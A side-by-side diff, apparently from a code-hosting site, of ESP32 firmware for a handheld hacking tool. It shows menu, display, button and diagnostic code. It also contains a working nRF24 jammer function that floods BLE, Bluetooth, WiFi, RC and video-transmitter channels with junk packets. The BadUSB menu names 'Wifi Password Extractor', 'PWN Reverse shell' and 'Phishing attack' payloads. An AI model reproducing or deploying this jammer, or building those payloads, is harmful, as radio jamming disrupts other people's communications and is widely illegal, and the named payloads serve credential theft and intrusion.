// u8g2.drawStr(0, 10, "Jamming:"); // u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10); // u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth"); // u8g2.print("Bluetooth");
// u8g2.sendBuffer(); // u8g2.sendBuffer();
// //
// while(true) { // while(true) {
// //
// // Channels (you can change this set) // // Channels (you can change this set)
// const byte channels[] = {2, 26, 80}; // const byte channels[] = {2, 26, 80};
// //
// //
// for (int i = 0; i < sizeof(channels); i++) { // for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]); // radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload)); // radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]); // //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload)); // //radio2.write(&payload, sizeof(payload));
// } // }
// //
// if (btnBack()) // if (btnBack())
// { // {
// Serial.println("Jammer stopped"); // Serial.println("Jammer stopped");
// return; // return;
// } // }
// } // }
// //
// } //}
// //
// void startBluetoothJammer() //void startBluetoothJammer()
//{ //{
// initNRF(radio1); // initNRF(radio1);
// initNRF(radio2); // initNRF(radio2);
// //
// Serial.println("NRF JAMMER STARTED"); // Serial.println("NRF JAMMER STARTED");
// //
// const char payload[] = "xxxxxxxxxxxxxxxx"; // const char payload[] = "xxxxxxxxxxxxxxxx";
// //
// u8g2.clearBuffer(); // u8g2.clearBuffer();
// u8g2.drawStr(0, 10, "Jamming:"); // u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10); // u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth"); // u8g2.print("Bluetooth");
// u8g2.sendBuffer(); // u8g2.sendBuffer();
// //
// while(true) { // while(true) {
// //
// // Channels (you can change this set) // // Channels (you can change this set)
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, // const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
// 24, 26, 28, 30, 74, 76, 78, 80};
// //
// //
// for (int i = 0; i < sizeof(channels); i++) { // for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]); // radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload)); // radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]); // //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload)); // //radio2.write(&payload, sizeof(payload));
// } // }
// //
// if (btnBack()) // if (btnBack())
// { // {
// Serial.println("Jammer stopped"); // Serial.println("Jammer stopped");
// return; // return;
// } // }
// } // }
// } //}
void startJammer(const char *name, const byte *channels, size_t channelCount) { void startJammer(const char* name, const byte* channels, size_t channelCount)
initNRF(radio1); {
initNRF(radio2); initNRF(radio1);
initNRF(radio2);
Serial.println("NRF JAMMER STARTED"); Serial.println("NRF JAMMER STARTED");
const char payload[] = "xxxxxxxxxxxxxxxx"; const char payload[] = "xxxxxxxxxxxxxxxx";
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "NRF24 Jammer"); u8g2.drawStr(0, 15, "NRF24 Jammer");
u8g2.drawStr(0, 35, name); u8g2.drawStr(0, 35, name);
u8g2.drawStr(0, 55, "BACK = Exit"); u8g2.drawStr(0, 55, "BACK = Exit");
u8g2.sendBuffer(); u8g2.sendBuffer();
while (true) { while (true)
for (size_t i = 0; i < channelCount; i++) { {
// radio1.setChannel(channels[i]); for (size_t i = 0; i < channelCount; i++)
// radio1.write(&payload, sizeof(payload)); {
//radio1.setChannel(channels[i]);
//radio1.write(&payload, sizeof(payload));
// Optional second NRF // Optional second NRF
// radio2.setChannel(channels[i]); // radio2.setChannel(channels[i]);
// radio2.write(&payload, sizeof(payload)); // radio2.write(&payload, sizeof(payload));
radio1.setChannel(channels[i]);
radio2.setChannel(channels[(i + 1) % channelCount]);
radio1.writeFast(&payload, sizeof(payload)); radio1.setChannel(channels[i]);
radio2.writeFast(&payload, sizeof(payload)); radio2.setChannel(channels[(i + 1) % channelCount]);
}
if (btnBack()) { radio1.writeFast(&payload, sizeof(payload));
Serial.println("Jammer stopped"); radio2.writeFast(&payload, sizeof(payload));
radio1.powerDown(); }
radio2.powerDown();
return;
}
}
// while (true) { if (btnBack())
// for (size_t i = 0; i < channelCount; i++) {
//{ Serial.println("Jammer stopped");
// radio1.setChannel(channels[i]); radio1.powerDown();
// radio2.setChannel(channels[(i + 1) % channelCount]); radio2.powerDown();
return;
}
}
// radio1.writeFast(&payload, sizeof(payload)); //while (true) {
// radio2.writeFast(&payload, sizeof(payload)); //for (size_t i = 0; i < channelCount; i++)
//{
// radio1.setChannel(channels[i]);
// radio2.setChannel(channels[(i + 1) % channelCount]);
// radio1.txStandBy(1); // radio1.writeFast(&payload, sizeof(payload));
// radio2.txStandBy(1); // radio2.writeFast(&payload, sizeof(payload));
// delayMicroseconds(200); // radio1.txStandBy(1);
//} // radio2.txStandBy(1);
// if (btnBack()) // delayMicroseconds(200);
//{ //}
// Serial.println("Jammer stopped");
// radio1.powerDown();
// radio2.powerDown();
// return; //if (btnBack())
//} //{
//} // Serial.println("Jammer stopped");
// radio1.powerDown();
// radio2.powerDown();
// return;
//}
//}
} }
void NRFToolsMenu(int index) { void NRFToolsMenu(int index) {
switch (index) { switch (index) {
case 0: case 0:
// startBleJammer(); // startBleJammer();
// BLE // BLE
startJammer("BLE", bleChannels, startJammer(
sizeof(bleChannels) / sizeof(bleChannels[0])); "BLE",
bleChannels,
sizeof(bleChannels) / sizeof(bleChannels[0])
);
break; break;
case 1: case 1:
// startBluetoothJammer(); // startBluetoothJammer();
// Bluetooth // Bluetooth
startJammer("Bluetooth", bluetoothChannels, startJammer(
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])); "Bluetooth",
break; bluetoothChannels,
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
);
break;
case 2: case 2:
startJammer("WiFi", wifiChannels, startJammer(
sizeof(wifiChannels) / sizeof(wifiChannels[0])); "WiFi",
break; wifiChannels,
case 3: sizeof(wifiChannels) / sizeof(wifiChannels[0])
startJammer("USB Wireless", usbWireless_channels, );
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); break;
break; case 3:
case 4: startJammer(
startJammer("Video TX", videoTransmitter_channels, "USB Wireless",
sizeof(videoTransmitter_channels) / usbWireless_channels,
sizeof(videoTransmitter_channels[0])); sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
break; );
case 5: break;
break; case 4:
startJammer("RC", rc_channels, startJammer(
sizeof(rc_channels) / sizeof(rc_channels[0])); "Video TX",
break; videoTransmitter_channels,
case 6: sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
);
break;
case 5:
break;
startJammer(
"RC",
rc_channels,
sizeof(rc_channels) / sizeof(rc_channels[0])
);
break;
case 6:
break; break;
}
} }
}

17
src/ui/display.cpp
View File

@ -1,11 +1,16 @@
#include "display.h" #include "display.h"
#include "config.h"
#include <Wire.h> #include <Wire.h>
#include "config.h"
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
void displayInit() { U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); U8G2_R0,
u8g2.begin(); U8X8_PIN_NONE
u8g2.setFont(u8g2_font_6x12_tr); );
void displayInit()
{
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
u8g2.begin();
u8g2.setFont(u8g2_font_6x12_tr);
} }

537
src/ui/menu.cpp
View File

@ -1,55 +1,71 @@
#include <Arduino.h>
#include "menu.h" #include "menu.h"
#include "BleMouse.h" #include "display.h"
#include "utils/buttons.h"
#include "hid/badusb.h"
#include "rf/nrf24.h"
#include "rf/cc1101.h"
#include "wifi/wifi_scan.h"
#include "wifi/wifi_analyzer.h"
#include "utils/device_check.h"
#include "bluetooth/ble_mouse.h" #include "bluetooth/ble_mouse.h"
#include "bluetooth/blescanner.h" #include "bluetooth/blescanner.h"
#include "display.h"
#include "hid/badusb.h"
#include "nfc/nfc.h"
#include "rf/cc1101.h"
#include "rf/nrf24.h"
#include "utils/buttons.h"
#include "utils/device_check.h"
#include "utils/sysinfo.h" #include "utils/sysinfo.h"
#include "wifi/wifi_analyzer.h" #include "BleMouse.h"
#include "wifi/wifi_scan.h" #include "nfc/nfc.h"
#include <Arduino.h>
// ================= MENU DATA ================= // ================= MENU DATA =================
extern BleMouse bleMouse; extern BleMouse bleMouse;
// Root menu // Root menu
const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools", const char *mainMenuItems[] = {
"BLE Scan", "Wifi Scan", "Wifi Analyzer", "BadUSB",
"System Info", "Device Check", "Restart", "RF Capture",
"Ble Mouse", "NFC Tools"}; "NRF Tools",
"BLE Scan",
"Wifi Scan",
"Wifi Analyzer",
"System Info",
"Device Check",
"Restart",
"Ble Mouse",
"NFC Tools"
};
Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
Menu mainMenu = {mainMenuItems,
sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
// NRF Tools menu // NRF Tools menu
const char *nrfToolsItems[] = { const char *nrfToolsItems[] = {
"BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless", "BLE Jammer",
"Video TX", "Zigbee", "RC" "Bluetooth Jammer",
"Wifi Jammer",
"USB Wireless",
"Video TX",
"Zigbee",
"RC"
}; };
Menu nrfToolsMenu = {nrfToolsItems, Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
const char *badusbItems[] = {"ORION Demo",
"RickRoll", const char *badusbItems[] = {
"Matrix Rain", "ORION Demo",
"Fake Terminal", "RickRoll",
"Wifi Password Extractor", "Matrix Rain",
"Fake Update", "Fake Terminal",
"Fake BSOD", "Wifi Password Extractor",
"Glitch Screen", "Fake Update",
"ASCII Spam", "Fake BSOD",
"Hacker Typer", "Glitch Screen",
"PWN Reverse shell", "ASCII Spam",
"Phishing attack", "Hacker Typer",
"Desktop Ghost", "PWN Reverse shell",
"System Stresser"}; "Phishing attack",
"Desktop Ghost",
"System Stresser"
};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@ -66,251 +82,282 @@ bool insideFeature = false;
// ================= DRAW ================= // ================= DRAW =================
void drawMenu() { void drawMenu()
u8g2.clearBuffer(); {
u8g2.clearBuffer();
// scroll handling // scroll handling
if (menuIndex < menuOffset) if (menuIndex < menuOffset)
menuOffset = menuIndex; menuOffset = menuIndex;
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) { for (int i = 0; i < MENU_VISIBLE_ROWS; i++)
int item = menuOffset + i; {
int item = menuOffset + i;
if (item >= currentMenu->size) if (item >= currentMenu->size)
break; break;
if (item == menuIndex) if (item == menuIndex)
u8g2.drawStr(0, 14 + i * 14, ">"); u8g2.drawStr(0, 14 + i * 14, ">");
u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
} }
// scroll indicators // scroll indicators
if (menuOffset > 0) if (menuOffset > 0)
u8g2.drawStr(118, 10, "^"); u8g2.drawStr(118, 10, "^");
if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
u8g2.drawStr(118, 62, "v"); u8g2.drawStr(118, 62, "v");
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ================= FEATURE EXECUTION ================= // ================= FEATURE EXECUTION =================
void launchFeature() { void launchFeature()
insideFeature = true; {
insideFeature = true;
if (currentMenu == &mainMenu) { if (currentMenu == &mainMenu)
switch (menuIndex) { {
case 0: // BadUSB → enter submenu switch (menuIndex)
currentMenu = &badusbMenu; {
menuIndex = 0; case 0: // BadUSB → enter submenu
menuOffset = 0; currentMenu = &badusbMenu;
break; menuIndex = 0;
menuOffset = 0;
break;
case 1: case 1:
handleMenu(); handleMenu();
break;
case 2:
// startNRFJammer();
// startBleJammer();
// startBluetoothJammer();
currentMenu = &nrfToolsMenu;
menuIndex = 0;
menuOffset = 0;
break;
break;
case 3:
ble_scan();
ble_drawMenu();
while (1) {
ble_loop();
if (btnBack())
break;
}
break;
case 4: {
// Start scan once
wifi_scan_start();
wifi_scan_draw();
while (1) {
wifi_scan_loop();
// EXIT condition handled ONLY here
if (btnBack()) {
delay(150); // debounce
break;
}
}
break;
}
case 5: {
wifi_analyzer_start();
bool prevBack = false;
while (1) {
wifi_analyzer_loop();
bool nowBack = btnBack();
if (nowBack && !prevBack) {
delay(150);
break;
}
prevBack = nowBack;
}
break;
}
case 6:
runSystemInfoFeature();
break;
case 7:
device_check_run();
break;
case 8: {
// wait for button release
delay(200);
while (btnSelect())
delay(10);
bool confirm = false;
while (1) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?");
if (confirm) {
u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO");
} else {
u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(78, 47, "NO");
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
if (btnLeft() || btnUp()) {
confirm = true;
delay(150);
}
if (btnRight() || btnDown()) {
confirm = false;
delay(150);
}
if (btnSelect()) {
delay(150);
if (confirm) {
u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer();
delay(1000);
ESP.restart();
} else {
break; break;
} case 2:
} // startNRFJammer();
//startBleJammer();
//startBluetoothJammer();
currentMenu = &nrfToolsMenu;
menuIndex = 0;
menuOffset = 0;
break;
if (btnBack()) { break;
delay(150); case 3:
break; ble_scan();
} ble_drawMenu();
} while (1) {
} break; ble_loop();
if (btnBack())
break;
}
break;
case 9: case 4:
// Begin Ble mouse {
bleMouse.begin(); // Start scan once
ble_mouse_run(); wifi_scan_start();
break; wifi_scan_draw();
case 10:
pn532_scan_loop(); while (1) {
break; wifi_scan_loop();
// EXIT condition handled ONLY here
if (btnBack()) {
delay(150); // debounce
break;
}
}
break;
}
case 5:
{
wifi_analyzer_start();
bool prevBack = false;
while (1)
{
wifi_analyzer_loop();
bool nowBack = btnBack();
if (nowBack && !prevBack)
{
delay(150);
break;
}
prevBack = nowBack;
}
break;
}
case 6:
runSystemInfoFeature();
break;
case 7:
device_check_run();
break;
case 8:
{
// wait for button release
delay(200);
while (btnSelect())
delay(10);
bool confirm = false;
while (1)
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?");
if (confirm)
{
u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO");
}
else
{
u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(78, 47, "NO");
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
if (btnLeft() || btnUp())
{
confirm = true;
delay(150);
}
if (btnRight() || btnDown())
{
confirm = false;
delay(150);
}
if (btnSelect())
{
delay(150);
if (confirm)
{
u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer();
delay(1000);
ESP.restart();
}
else
{
break;
}
}
if (btnBack())
{
delay(150);
break;
}
}
}
break;
case 9:
// Begin Ble mouse
bleMouse.begin();
ble_mouse_run();
break;
case 10:
pn532_scan_loop();
break;
}
}
else if (currentMenu == &badusbMenu)
{
badUSBMenu(menuIndex);
} else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex);
} }
} else if (currentMenu == &badusbMenu) {
badUSBMenu(menuIndex);
} else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex);
}
insideFeature = false; insideFeature = false;
drawMenu(); drawMenu();
} }
// ================= INIT ================= // ================= INIT =================
void menuInit() { void menuInit()
currentMenu = &mainMenu; {
menuIndex = 0; currentMenu = &mainMenu;
menuOffset = 0; menuIndex = 0;
menuOffset = 0;
drawMenu(); drawMenu();
} }
// ================= LOOP ================= // ================= LOOP =================
void menuLoop() { void menuLoop()
static uint32_t lastPress = 0; {
static uint32_t lastPress = 0;
if (insideFeature) if (insideFeature)
return; return;
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnUp()) { if (btnUp())
menuIndex--; {
menuIndex--;
if (menuIndex < 0) if (menuIndex < 0)
menuIndex = currentMenu->size - 1; menuIndex = currentMenu->size - 1;
drawMenu(); drawMenu();
lastPress = millis(); lastPress = millis();
}
else if (btnDown()) {
menuIndex++;
if (menuIndex >= currentMenu->size)
menuIndex = 0;
drawMenu();
lastPress = millis();
}
else if (btnSelect()) {
launchFeature();
lastPress = millis();
}
else if (btnBack()) {
if (currentMenu != &mainMenu) {
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
drawMenu();
} }
lastPress = millis(); else if (btnDown())
} {
menuIndex++;
if (menuIndex >= currentMenu->size)
menuIndex = 0;
drawMenu();
lastPress = millis();
}
else if (btnSelect())
{
launchFeature();
lastPress = millis();
}
else if (btnBack())
{
if (currentMenu != &mainMenu)
{
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
drawMenu();
}
lastPress = millis();
}
} }

17
src/utils/buttons.cpp
View File

@ -1,14 +1,15 @@
#include "buttons.h" #include "buttons.h"
#include "../config.h"
#include <Arduino.h> #include <Arduino.h>
#include "../config.h"
void buttonsInit() { void buttonsInit()
pinMode(BTN_UP, INPUT_PULLUP); {
pinMode(BTN_DOWN, INPUT_PULLUP); pinMode(BTN_UP, INPUT_PULLUP);
pinMode(BTN_SELECT, INPUT_PULLUP); pinMode(BTN_DOWN, INPUT_PULLUP);
pinMode(BTN_BACK, INPUT_PULLUP); pinMode(BTN_SELECT, INPUT_PULLUP);
pinMode(BTN_RIGHT, INPUT_PULLUP); pinMode(BTN_BACK, INPUT_PULLUP);
pinMode(BTN_LEFT, INPUT_PULLUP); pinMode(BTN_RIGHT, INPUT_PULLUP);
pinMode(BTN_LEFT, INPUT_PULLUP);
} }
bool btnUp() { return !digitalRead(BTN_UP); } bool btnUp() { return !digitalRead(BTN_UP); }

218
src/utils/device_check.cpp
View File

@ -1,12 +1,12 @@
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include <Arduino.h> #include <Arduino.h>
#include <RF24.h>
#include <SPI.h> #include <SPI.h>
#include <Wire.h> #include <Wire.h>
#include <RF24.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "../config.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "buttons.h" #include "buttons.h"
#include "../config.h"
// ===== EXTERNALS ===== // ===== EXTERNALS =====
extern RF24 radio1; extern RF24 radio1;
@ -16,14 +16,16 @@ extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
// ===== RESULTS ===== // ===== RESULTS =====
struct DeviceStatus { struct DeviceStatus {
bool nrf1 = false; bool nrf1 = false;
bool nrf2 = false; bool nrf2 = false;
bool cc1101 = false; bool cc1101_1 = false;
bool oled = true; bool cc1101_2 = false;
bool oled = true;
bool buttons = false;
}; };
// ===== NRF CHECK ===== // ===== NRF CHECK =====
// bool checkNRF(RF24 &radio) //bool checkNRF(RF24 &radio)
//{ //{
// // safer: only init if needed // // safer: only init if needed
// if (!radio.isChipConnected()) { // if (!radio.isChipConnected()) {
@ -34,118 +36,172 @@ struct DeviceStatus {
// return radio.isChipConnected(); // return radio.isChipConnected();
//} //}
bool checkNRF(RF24 &radio) { bool checkNRF(RF24 &radio)
radio.powerDown(); {
delay(5); radio.powerDown();
delay(5);
if (!radio.begin(RADIO_SPI)) if (!radio.begin(RADIO_SPI))
return false; return false;
delay(5); delay(5);
return radio.isChipConnected(); return radio.isChipConnected();
} }
// ===== CC1101 CHECK ===== // ===== CC1101 CHECK =====
bool checkCC1101(uint8_t csPin) { bool checkCC1101(uint8_t csPin)
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin); {
ELECHOUSE_cc1101.setSpiPin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
csPin
);
delay(5); delay(5);
return ELECHOUSE_cc1101.getCC1101(); return ELECHOUSE_cc1101.getCC1101();
}
// ===== BUTTON CHECK =====
bool checkButtons()
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "Press any button...");
u8g2.sendBuffer();
unsigned long start = millis();
while (millis() - start < 2000)
{
if (!digitalRead(BTN_UP) ||
!digitalRead(BTN_DOWN) ||
!digitalRead(BTN_SELECT) ||
!digitalRead(BTN_BACK) ||
!digitalRead(BTN_RIGHT) ||
!digitalRead(BTN_LEFT))
{
return true;
}
}
return false;
} }
// ===== DRAW ===== // ===== DRAW =====
#define MAX_ITEMS 4 #define MAX_ITEMS 6
#define VISIBLE_ROWS 5 #define VISIBLE_ROWS 5
const char *labels[MAX_ITEMS] = {"NRF1", "NRF2", "CC1101", "OLED"}; const char* labels[MAX_ITEMS] = {
"NRF1",
"NRF2",
"CC1101-1",
"CC1101-2",
"BUTTONS",
"OLED"
};
bool values[MAX_ITEMS]; bool values[MAX_ITEMS];
int selectedIndex = 0; int selectedIndex = 0;
int offset = 0; int offset = 0;
void drawStatus(DeviceStatus &s) { void drawStatus(DeviceStatus &s)
values[0] = s.nrf1; {
values[1] = s.nrf2; values[0] = s.nrf1;
values[2] = s.cc1101; values[1] = s.nrf2;
values[3] = s.oled; values[2] = s.cc1101_1;
values[3] = s.cc1101_2;
values[4] = s.buttons;
values[5] = s.oled;
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
// scrolling logic u8g2.clearBuffer();
if (selectedIndex < offset) u8g2.setFont(u8g2_font_6x10_tr);
offset = selectedIndex;
if (selectedIndex >= offset + VISIBLE_ROWS) // scrolling logic
offset = selectedIndex - VISIBLE_ROWS + 1; if (selectedIndex < offset)
offset = selectedIndex;
for (int i = 0; i < VISIBLE_ROWS; i++) { if (selectedIndex >= offset + VISIBLE_ROWS)
int item = offset + i; offset = selectedIndex - VISIBLE_ROWS + 1;
if (item >= MAX_ITEMS)
break;
int y = 12 + i * 10; for (int i = 0; i < VISIBLE_ROWS; i++)
{
int item = offset + i;
if (item >= MAX_ITEMS) break;
if (item == selectedIndex) { int y = 12 + i * 10;
u8g2.drawBox(0, y - 9, 128, 10);
u8g2.setDrawColor(0); if (item == selectedIndex)
{
u8g2.drawBox(0, y - 9, 128, 10);
u8g2.setDrawColor(0);
}
u8g2.drawStr(2, y, labels[item]);
if (values[item])
u8g2.drawStr(80, y, "OK");
else
u8g2.drawStr(80, y, "FAIL");
if (item == selectedIndex)
u8g2.setDrawColor(1);
} }
u8g2.drawStr(2, y, labels[item]); u8g2.sendBuffer();
if (values[item])
u8g2.drawStr(80, y, "OK");
else
u8g2.drawStr(80, y, "FAIL");
if (item == selectedIndex)
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
} }
// ===== MAIN ===== // ===== MAIN =====
void device_check_run() { void device_check_run()
DeviceStatus status; {
DeviceStatus status;
Serial.println("Running device diagnostics..."); Serial.println("Running device diagnostics...");
// NRF // NRF
status.nrf1 = checkNRF(radio1); status.nrf1 = checkNRF(radio1);
status.nrf2 = checkNRF(radio2); status.nrf2 = checkNRF(radio2);
// CC1101 // CC1101
status.cc1101 = checkCC1101(CC1101_CS); status.cc1101_1 = checkCC1101(CC1101_CS);
// status.cc1101 = true; status.cc1101_2 = checkCC1101(CC1101_2_CS);
//status.cc1101_1 = status.cc1101_2 = false;
drawStatus(status); // Buttons
status.buttons = checkButtons();
Serial.println("Diagnostics complete");
while (1) {
drawStatus(status); drawStatus(status);
if (btnUp()) { Serial.println("Diagnostics complete");
selectedIndex--;
if (selectedIndex < 0) while (1)
selectedIndex = MAX_ITEMS - 1; {
delay(150); drawStatus(status);
if (btnUp())
{
selectedIndex--;
if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1;
delay(150);
} }
if (btnDown()) { if (btnDown())
selectedIndex++; {
if (selectedIndex >= MAX_ITEMS) selectedIndex++;
selectedIndex = 0; if (selectedIndex >= MAX_ITEMS) selectedIndex = 0;
delay(150); delay(150);
} }
if (btnBack()) { if (btnBack())
delay(150); {
break; delay(150);
break;
} }
} }}
}

135
src/utils/sysinfo.cpp
View File

@ -1,84 +1,87 @@
#include <Arduino.h>
#include "../ui/display.h" #include "../ui/display.h"
#include "buttons.h" #include "buttons.h"
#include <Arduino.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
void runSystemInfoFeature() { void runSystemInfoFeature()
esp_chip_info_t chip_info; {
esp_chip_info(&chip_info);
while (true) {
// u8g2.clearBuffer();
// char buf[32];
// sprintf(buf, "Cores: %d", chip_info.cores);
// u8g2.drawStr(0, 14, buf);
// sprintf(buf, "Heap: %d",
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
// u8g2.drawStr(0, 28, buf);
// u8g2.drawStr(0, 60, "BACK to exit");
// Get RAM info
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
// Get Flash info
// uint32_t flashSize = spi_flash_get_chip_size();
uint32_t flashSize = ESP.getFlashChipSize();
uint32_t flashUsed = ESP.getSketchSize();
int flashUsage = (flashUsed * 100) / flashSize;
// Temperature (approx)
uint8_t temperature = temperatureRead();
// Chip info
esp_chip_info_t chip_info; esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
u8g2.clearBuffer(); while (true)
u8g2.setFont(u8g2_font_6x12_tr); {
//u8g2.clearBuffer();
char buf[32]; //char buf[32];
// Box 1 - RAM //sprintf(buf, "Cores: %d", chip_info.cores);
u8g2.drawFrame(0, 0, 128, 12); //u8g2.drawStr(0, 14, buf);
sprintf(buf, "RAM: %d%% used", ramUsage);
u8g2.drawStr(4, 9, buf);
// Box 2 - Flash //sprintf(buf, "Heap: %d",
u8g2.drawFrame(0, 12, 128, 12); // heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
sprintf(buf, "Flash: %d%% used", flashUsage); //u8g2.drawStr(0, 28, buf);
u8g2.drawStr(4, 21, buf);
// Box 3 - Temp (FULL WIDTH now)
u8g2.drawFrame(0, 24, 128, 12);
sprintf(buf, "Temp: %d C", temperature);
u8g2.drawStr(4, 33, buf);
// Box 4 - Chip info (FULL WIDTH) //u8g2.drawStr(0, 60, "BACK to exit");
u8g2.drawFrame(0, 36, 128, 12);
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
u8g2.drawStr(4, 45, buf);
// Box 5 - PSRAM (KB) // Get RAM info
u8g2.drawFrame(0, 48, 128, 12); size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
sprintf(buf, "PSRAM: %lu KB", size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
u8g2.drawStr(4, 57, buf);
u8g2.sendBuffer(); // Get Flash info
//uint32_t flashSize = spi_flash_get_chip_size();
uint32_t flashSize = ESP.getFlashChipSize();
uint32_t flashUsed = ESP.getSketchSize();
int flashUsage = (flashUsed * 100) / flashSize;
if (btnBack()) { // Temperature (approx)
delay(200); uint8_t temperature = temperatureRead();
return;
// Chip info
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x12_tr);
char buf[32];
// Box 1 - RAM
u8g2.drawFrame(0, 0, 128, 12);
sprintf(buf, "RAM: %d%% used", ramUsage);
u8g2.drawStr(4, 9, buf);
// Box 2 - Flash
u8g2.drawFrame(0, 12, 128, 12);
sprintf(buf, "Flash: %d%% used", flashUsage);
u8g2.drawStr(4, 21, buf);
// Box 3 - Temp (FULL WIDTH now)
u8g2.drawFrame(0, 24, 128, 12);
sprintf(buf, "Temp: %d C", temperature);
u8g2.drawStr(4, 33, buf);
// Box 4 - Chip info (FULL WIDTH)
u8g2.drawFrame(0, 36, 128, 12);
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
u8g2.drawStr(4, 45, buf);
// Box 5 - PSRAM (KB)
u8g2.drawFrame(0, 48, 128, 12);
sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
u8g2.drawStr(4, 57, buf);
u8g2.sendBuffer();
if (btnBack())
{
delay(200);
return;
}
delay(100);
} }
delay(100);
}
} }

181
src/wifi/wifi_analyzer.cpp
View File

